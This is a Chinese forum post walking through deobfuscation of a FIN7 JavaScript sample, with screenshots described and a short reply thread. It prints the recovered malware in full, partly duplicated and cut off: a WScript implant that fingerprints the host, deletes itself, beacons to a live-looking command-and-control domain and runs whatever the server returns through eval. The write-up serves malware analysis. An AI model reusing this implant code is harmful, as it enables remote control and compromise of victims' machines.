首页
社区
课程
招聘
JS 解混淆----FIN7 使用的一个恶心的JS 脚本
发表于: 2021-10-27 17:54 13288

JS 解混淆----FIN7 使用的一个恶心的JS 脚本

2021-10-27 17:54
13288

事情是这样的,某天小菜鸡在愉快的玩耍,看到同事大师傅在分析FIN7 组织的样本,就是下面这个:
这个是推特的大手子发的:传送门
这个是AnyRun 上面的样本:传送门
JS 麻,淦就完事了,下载。
然后我得到了这样的代码:
图片描述

很”清晰”的代码,(强烈建议一会APT 组织攻击的时候能不能丢一个源码文件),文件大小为1.04M,MD5为:f1680aa55c88220bcf83e24d89628cc9F1680AA55C8822
OK,基本信息就是这样,总结一下就是一个小白满怀信心的准备分析它了。

刚开始的时候,我发现JS 代码是没有进行格式化的,并且里面的字符串都使用形如\x 的UTF-8 字符串进行了替换,所有要分析的话,首先需要对代码进行格式化并且将字符串显示为正常的,方便可读。
JS 代码格式化我使用的是代码在线格式化,然后UTF-8 字符串解析我使用的是推特大手子推荐的在线工具此处感谢源神私聊大手子得到后续的思路。
进行了上述的步骤后,我们得到了下面这样的代码(虽然可以看了,但是WTF 这是啥???当然,这里没有截取完整,可我还是看不懂)
图片描述

这里,我们可以静态看一下,根据大手子的说法是现在很多恶意软件开发者喜欢使用JavaScript Obfuscator Tool对JS 代码进行混淆,所有在开始分析之前,我也写了一段JS 代码进行混淆。emmmmmmm 很恶心。
图片描述
然后关于这个在后面在说,我们先将样本的JS 解混淆。
我们将JS 代码写入到HTML 文件中并使用谷歌浏览器进行调试。
图片描述
也就是在这里,我发现了这个混淆的恶心之处,它进行了反调试(没有JS 调试经验的我第一次知道原来JS 也有反调试,查询资料发现在反爬虫的地方用的挺多的)。
图片描述
在这里有一个debugger 的反调试,然后不知道怎么过去,一度陷入了胶着。
图片描述
然后感谢源神问了一下推特大手子:
图片描述

根据大手子的说法,在第二个变量(0x22598F)处,实际上就是用于获取被加密的JS 代码,在将这些数据拼接起来,就是完整的被加密的代码。所有我让JS 文件直接执行,然后定位到这个位置,在浏览器控制台打印获取被加密后的JS 代码。
图片描述
在拿到这段代码后,我们大致看一下整个JS 代码的流程,首先是创建字典,然后获取解码函数的地址,然后利用解码函数获取被加密的JS 代码,也就是上面这段数据,接着生成解码执行流程数组(其实就是一个整型数组,里面存放的数据影响这后续代码执行流程),最后进行解码。
图片描述
拿到这个数组后,程序就遍历数组,并且进入到选择语句,执行对应值的代码。
图片描述
然后被进行第一次解密的代码就被插入到代码执行流程中,接着进入case 3 的代码块中进行下次解密,这里我整理一下后续的代码流程就是下面这样的:
图片描述
我们将这个代码和上面一样编辑为HTML 格式进行执行。然后直接查看解析后的JS 的代码:
图片描述
最后,我们得到的代码时下面这样的:
图片描述
在代码开始处有一个eval() 方法,这个方法在上面也出现过,它的作用就是以JS 格式操作传入的字符串,和PowerShell IEX 函数功能类似。
所以,这意味着在eval 内的字符串我们可以执行,接着我们看到一个unescape() 方法,这个方法是对形如%xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。所以我们直接将eval() 内的字符串放到控制台执行,就可以执行unescape() 方法解析字符串得到最终清晰的JS 代码。
图片描述

最终得到的JS 代码如下:

 
 
 
 
 
function func_start_delay() {
    var s_WScript = WScript;
    s_WScript.Sleep(120000);
}
function func_crypt_controller(var_type, var_request) {
    try {
        var encryption_key = "";
        if (var_type === "decrypt") {
            var_request = unescape(var_request);
            var request_split = var_request.split("&_&");
            var_request = request_split[0];
            if (request_split.length == 2) {
                encryption_key = request_split[1].split("");
            } else {
                return var_request;
            }
        } else {
            encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
            var_request = unescape(encodeURIComponent(var_request));
        }
        var var_output = new Array(var_request.length);
        for (var i_counter = 0; i_counter < var_request.length; i_counter++) {
            var var_charCode = var_request.charCodeAt(i_counter) ^ encryption_key[i_counter % encryption_key.length].charCodeAt(0);
            var_output[i_counter] = String.fromCharCode(var_charCode);
        }
        var result_string = var_output.join("");
        if (var_type === "encrypt") {
            result_string = result_string + "&_&" + encryption_key.join("");
            result_string = escape(result_string);
        }
        return result_string;
    } catch(e) {
        return "no";
    }
 
}
function func_id() {
    var mac_address = "#Error#";
    var dns_hostname = "#Error#";
    try {
        var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
        var lItems = new Enumerator(lrequest);
        for (; ! lItems.atEnd(); lItems.moveNext()) {
            mac_address = lItems.item().macaddress;
            dns_hostname = lItems.item().DNSHostName;
            if (typeof mac_address === "string" && mac_address.length > 1) {
                if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
                    dns_hostname = "Unknown";
                } else {
                    for (var i_counter = 0; i_counter < dns_hostname.length; i_counter++) {
                        if (dns_hostname.charAt(i_counter) > "z") {
                            dns_hostname = dns_hostname.substr(0, i_counter) + "_" + dns_hostname.substr(i_counter + 1);
                        }
                    }
                }
                return mac_address + "_" + dns_hostname;
            }
        }
    } catch(e) {
        return mac_address + "_" + dns_hostname;
    }
 
}
function func_main() {
    var ncommand = "";
    var s_WScript = WScript;
    ncommand = send_data("request", "page_id=new", true);
    if (ncommand !== "no") {
        try {
            ncommand = func_crypt_controller("decrypt", ncommand);
            if (ncommand !== "no") {
                eval(func_crypt_controller("decrypt", ncommand));
            }
        } catch(e) {}
    }
    var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
    s_WScript.Sleep(random_knock);
    func_main();
}
function func_get_path() {
    var var_pathes = ["images", "pictures", "img", "info", "new"];
    var var_files = ["sync", "show", "hide", "add", "new", "renew", "delete"];
    var var_path = var_pathes[Math.floor(Math.random() * var_pathes.length)] + "/" + var_files[Math.floor(Math.random() * var_files.length)];
    return "https://civilizationidium.com/" + var_path;
}
var wmi = GetObject("winmgmts:root/CIMV2");
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var app_path = shell.expandEnvironmentStrings("%APPDATA%");
var uniq_id = new Date().getUTCMilliseconds();
if (fso.GetAbsolutePathName(fso.GetParentFolderName(app_path)).indexOf("AppData") > 5) {
    if (WScript.ScriptFullName.indexOf("Microsoft" + String.fromCharCode(0x5C) + "Windows") < 0) {
        try {
            fso.deleteFile(WScript.ScriptFullName);
        } catch(e) {}
    }
    try {
        func_start_delay();
        func_main();
    } catch(e) {
        func_main();
    }
}
function send_data(var_type, var_data, var_crypt) {
    try {
        var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
        if (var_type === "request") {
            http_object.open("POST", func_get_path() + "?type=name", false);
            var_data = "zawgkveuwynyjvizs=" + func_crypt_controller("encrypt", "group=sp&rt=0&secret=HiyFIYF973IYFCviyv&time=120000&uid=" + uniq_id + "&id=" + func_id() + "&" + var_data);
        } else {
            http_object.open("POST", func_get_path() + "?type=content&id=" + uniq_id, false);
            if (var_crypt) {
                var_data = func_crypt_controller("encrypt", var_data);
            }
        }
        http_object.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/50.0");
        http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        http_object.setOption(2, 13056);
        http_object.send(var_data);
        return http_object.responseText;
    } catch(e) {
        return "no";
    }
}
function func_decrypt(strInpit) {
    strPass = "ga4ku"
    var strRet = new String("");
    var arrtext = strInpit.split(",");
 
    var i_counter = 0;
    var j_counter = 0;
 
    for (i_counter = 0; i_counter < arrtext.length - 1; i_counter++) {
        var char_c = String.fromCharCode(Number(arrtext[i_counter]));
        var charCom = char_c.charCodeAt(0) ^ strPass.charCodeAt(j_counter);
        char_c = String.fromCharCode(charCom);
        strRet += char_c;
        if (j_counter == strPass.length - 1) j_counter = 0;
        else j_counter++;
    }
    return strRet;
}
function func_start_delay() {
    var s_WScript = WScript;
    s_WScript.Sleep(120000);
}
function func_crypt_controller(var_type, var_request) {
    try {
        var encryption_key = "";
        if (var_type === "decrypt") {
            var_request = unescape(var_request);
            var request_split = var_request.split("&_&");
            var_request = request_split[0];
            if (request_split.length == 2) {
                encryption_key = request_split[1].split("");
            } else {
                return var_request;
            }
        } else {
            encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
            var_request = unescape(encodeURIComponent(var_request));
        }
        var var_output = new Array(var_request.length);
        for (var i_counter = 0; i_counter < var_request.length; i_counter++) {
            var var_charCode = var_request.charCodeAt(i_counter) ^ encryption_key[i_counter % encryption_key.length].charCodeAt(0);
            var_output[i_counter] = String.fromCharCode(var_charCode);
        }
        var result_string = var_output.join("");
        if (var_type === "encrypt") {
            result_string = result_string + "&_&" + encryption_key.join("");
            result_string = escape(result_string);
        }
        return result_string;
    } catch(e) {
        return "no";
    }
 
}
function func_id() {
    var mac_address = "#Error#";
    var dns_hostname = "#Error#";
    try {
        var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
        var lItems = new Enumerator(lrequest);
        for (; ! lItems.atEnd(); lItems.moveNext()) {
            mac_address = lItems.item().macaddress;
            dns_hostname = lItems.item().DNSHostName;
            if (typeof mac_address === "string" && mac_address.length > 1) {
                if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
                    dns_hostname = "Unknown";
                } else {
                    for (var i_counter = 0; i_counter < dns_hostname.length; i_counter++) {
                        if (dns_hostname.charAt(i_counter) > "z") {
                            dns_hostname = dns_hostname.substr(0, i_counter) + "_" + dns_hostname.substr(i_counter + 1);
                        }
                    }
                }
                return mac_address + "_" + dns_hostname;
            }
        }
    } catch(e) {
        return mac_address + "_" + dns_hostname;
    }
 
}
function func_main() {
    var ncommand = "";
    var s_WScript = WScript;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (6)
雪    币: 1918
活跃值: (6265)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
2
水一篇,呜呜呜
2021-10-27 17:55
0
雪    币: 1015
活跃值: (5232)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
3
荣神 YYDS!
2021-10-28 10:01
0
雪    币: 1918
活跃值: (6265)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
4
L0x1c 荣神 YYDS!
源神 YYDS
2021-10-28 13:04
0
雪    币: 221
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
ast了解一下
2021-12-24 10:40
1
雪    币: 1918
活跃值: (6265)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
6
清风ZH ast了解一下
谢谢师傅,写了之后也在其他大师傅的提示下写了一个demo,不过可能有点问题,没有完美还原出源码,所以就没好意思放出来,呜呜呜
2021-12-24 11:07
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
能加个QQ或微信吗? 我最近也在研究JS混淆解析,请教一下
我的QQ 8540453
2023-1-9 18:54
0
游客
登录 | 注册 方可回帖
返回
//